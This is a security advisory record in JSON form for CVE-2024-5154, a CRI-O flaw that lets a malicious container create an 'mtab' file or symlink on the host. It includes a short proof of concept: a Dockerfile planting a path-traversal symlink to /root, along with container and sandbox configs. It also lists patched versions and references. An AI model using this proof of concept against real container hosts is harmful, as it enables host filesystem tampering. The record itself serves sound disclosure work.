{"id":"GHSA-j9hf-98c3-wrm8","summary":"malicious container creates symlink \"mtab\" on the host External","details":"### Impact\nA malicious container can affect the host by taking advantage of code cri-o added to show the container mounts on the host.\n\nA workload built from this Dockerfile:\n```\nFROM docker.io/library/busybox as source\nRUN mkdir /extra && cd /extra && ln -s ../../../../../../../../root etc\n\nFROM scratch\n\nCOPY --from=source /bin /bin\nCOPY --from=source /lib /lib\nCOPY --from=source /extra .\n\n```\n\nand this container config:\n\n```\n{\n  \"metadata\": {\n      \"name\": \"busybox\"\n  },\n  \"image\":{\n      \"image\": \"localhost/test\"\n  },\n  \"command\": [\n      \"/bin/true\"\n  ],\n  \"linux\": {\n  }\n}\n\n\n```\nand this sandbox config  \n```\n{\n  \"metadata\": {\n    \"name\": \"test-sandbox\",\n    \"namespace\": \"default\",\n    \"attempt\": 1,\n    \"uid\": \"edishd83djaideaduwk28bcsb\"\n  },\n  \"linux\": {\n    \"security_context\": {\n      \"namespace_options\": {\n        \"network\": 2\n      }\n    }\n  }\n}\n\n```\n\nwill create a file on host `/host/mtab`\n\n### Patches\n1.30.1, 1.29.5, 1.28.7\n\n### Workarounds\nUnfortunately not\n\n### References\n_Are there any links users can visit to find out more?_","aliases":["CVE-2024-5154","GO-2024-2919"],"modified":"2026-07-08T07:14:03.386336051Z","published":"2024-06-04T18:12:31Z","database_specific":{"github_reviewed":true,"github_reviewed_at":"2024-06-04T18:12:31Z","nvd_published_at":"2024-06-12T09:15:19Z","severity":"HIGH","cwe_ids":["CWE-22","CWE-668"]},"references":[{"type":"WEB","url":"https://github.com/cri-o/cri-o/security/advisories/GHSA-j9hf-98c3-wrm8"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2024-5154"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2024:10818"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2024:3676"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2024:3700"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2024:4008"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2024:4159"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2024:4486"},{"type":"WEB","url":"https://access.redhat.com/security/cve/CVE-2024-5154"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=2280190"},{"type":"PACKAGE","url":"https://github.com/cri-o/cri-o"},{"type":"WEB","url":"https://pkg.go.dev/vuln/GO-2024-2919"}],"affected":[{"package":{"name":"github.com/cri-o/cri-o","ecosystem":"Go","purl":"pkg:golang/github.com/cri-o/cri-o"},"ranges":[{"type":"SEMVER","events":[{"introduced":"1.28.6"},{"fixed":"1.28.7"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2024/06/GHSA-j9hf-98c3-wrm8/GHSA-j9hf-98c3-wrm8.json"}},{"package":{"name":"github.com/cri-o/cri-o","ecosystem":"Go","purl":"pkg:golang/github.com/cri-o/cri-o"},"ranges":[{"type":"SEMVER","events":[{"introduced":"1.29.4"},{"fixed":"1.29.5"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2024/06/GHSA-j9hf-98c3-wrm8/GHSA-j9hf-98c3-wrm8.json"}},{"package":{"name":"github.com/cri-o/cri-o","ecosystem":"Go","purl":"pkg:golang/github.com/cri-o/cri-o"},"ranges":[{"type":"SEMVER","events":[{"introduced":"1.30.0"},{"fixed":"1.30.1"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2024/06/GHSA-j9hf-98c3-wrm8/GHSA-j9hf-98c3-wrm8.json"}}],"schema_version":"1.7.3","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:H/A:N"}]}